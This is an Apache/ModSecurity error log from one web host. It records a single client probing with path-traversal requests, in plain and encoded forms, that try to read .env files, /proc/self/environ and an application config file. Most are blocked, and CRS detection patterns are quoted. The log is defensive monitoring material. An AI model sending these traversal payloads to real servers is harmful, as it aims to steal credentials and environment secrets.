[Sun Oct 25 22:08:47.772934 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at62L7Zn9l1fDWzMN3C82AAAAAQ"]
[Sun Oct 25 22:08:47.772976 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at62L7Zn9l1fDWzMN3C82AAAAAQ"]
[Sun Oct 25 22:08:47.773172 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at62L7Zn9l1fDWzMN3C82AAAAAQ"]
[Sun Oct 25 22:08:47.773415 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at62L7Zn9l1fDWzMN3C82AAAAAQ"]
[Sun Oct 25 22:08:47.798629 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /app/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXQAAAAY"]
[Sun Oct 25 22:08:47.798697 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXQAAAAY"]
[Sun Oct 25 22:08:47.798871 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXQAAAAY"]
[Sun Oct 25 22:08:47.799119 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at62Ly7g7KvJoU2B-eLMXQAAAAY"]
[Sun Oct 25 22:08:47.806231 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at62L_v3Bqe9ulig-nTwrQAAAAk"]
[Sun Oct 25 22:08:47.806287 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at62L_v3Bqe9ulig-nTwrQAAAAk"]
[Sun Oct 25 22:08:47.806457 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at62L_v3Bqe9ulig-nTwrQAAAAk"]
[Sun Oct 25 22:08:47.806685 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at62L_v3Bqe9ulig-nTwrQAAAAk"]
[Sun Oct 25 22:08:47.830219 2026] [core:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] AH10244: invalid URI path (/%2e%2e/.env)
[Sun Oct 25 22:08:47.846327 2026] [core:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40290] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Sun Oct 25 22:08:47.956396 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/api/uploads/../../../proc/self/environ"] [unique_id "at62L7Zn9l1fDWzMN3C82QAAAAQ"]
[Sun Oct 25 22:08:47.956435 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic3.sherwinpinturas.com"] [uri "/api/uploads/../../../proc/self/environ"] [unique_id "at62L7Zn9l1fDWzMN3C82QAAAAQ"]
[Sun Oct 25 22:08:48.033942 2026] [core:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ)
[Sun Oct 25 22:08:48.035782 2026] [core:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] AH10244: invalid URI path (/appearance/../../.env)
[Sun Oct 25 22:08:48.046036 2026] [core:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] AH10244: invalid URI path (/appearance/../../proc/self/environ)
[Sun Oct 25 22:08:48.085547 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at62MAVMbcT9KgS5Oi2M8AAAAA0"]
[Sun Oct 25 22:08:48.085596 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /document.php?modulepart=systemtools&file=../conf/conf.php&hashp=shared"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at62MAVMbcT9KgS5Oi2M8AAAAA0"]
[Sun Oct 25 22:08:48.086465 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at62MAVMbcT9KgS5Oi2M8AAAAA0"]
[Sun Oct 25 22:08:48.086695 2026] [security2:error] [pid 2943054:tid 2943054] [client 34.81.7.133:40312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/document.php"] [unique_id "at62MAVMbcT9KgS5Oi2M8AAAAA0"]
[Sun Oct 25 22:08:48.088363 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MBxDSGMTK4da64vVQAAAABg"]
[Sun Oct 25 22:08:48.088496 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MBxDSGMTK4da64vVQAAAABg"]
[Sun Oct 25 22:08:48.088555 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MBxDSGMTK4da64vVQAAAABg"]
[Sun Oct 25 22:08:48.088605 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MBxDSGMTK4da64vVQAAAABg"]
[Sun Oct 25 22:08:48.113237 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MBxDSGMTK4da64vVQAAAABg"]
[Sun Oct 25 22:08:48.113877 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MGjDRrdrYxtsLj26hQAAABk"]
[Sun Oct 25 22:08:48.113952 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MGjDRrdrYxtsLj26hQAAABk"]
[Sun Oct 25 22:08:48.113984 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MGjDRrdrYxtsLj26hQAAABk"]
[Sun Oct 25 22:08:48.114021 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MGjDRrdrYxtsLj26hQAAABk"]
[Sun Oct 25 22:08:48.114117 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:apis. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:apis: ../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MGjDRrdrYxtsLj26hQAAABk"]
[Sun Oct 25 22:08:48.114775 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MGjDRrdrYxtsLj26hQAAABk"]
[Sun Oct 25 22:08:48.115016 2026] [security2:error] [pid 2943063:tid 2943063] [client 34.81.7.133:40342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=25,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MGjDRrdrYxtsLj26hQAAABk"]
[Sun Oct 25 22:08:48.115013 2026] [security2:error] [pid 2943062:tid 2943062] [client 34.81.7.133:40340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at62MBxDSGMTK4da64vVQAAAABg"]
[Sun Oct 25 22:08:48.118834 2026] [core:error] [pid 2943064:tid 2943064] [client 34.81.7.133:40344] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/.env)
[Sun Oct 25 22:08:48.136297 2026] [core:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] AH10244: invalid URI path (/static/../../../a/../../../../.env)
[Sun Oct 25 22:08:48.172945 2026] [core:error] [pid 2943060:tid 2943060] [client 34.81.7.133:40364] AH10244: invalid URI path (/static/../../../a/../../../../proc/self/environ)
[Sun Oct 25 22:08:48.178929 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MLZn9l1fDWzMN3C82gAAAAQ"]
[Sun Oct 25 22:08:48.179106 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MLZn9l1fDWzMN3C82gAAAAQ"]
[Sun Oct 25 22:08:48.179378 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/api/proc/self/environ"] [unique_id "at62MLZn9l1fDWzMN3C82gAAAAQ"]
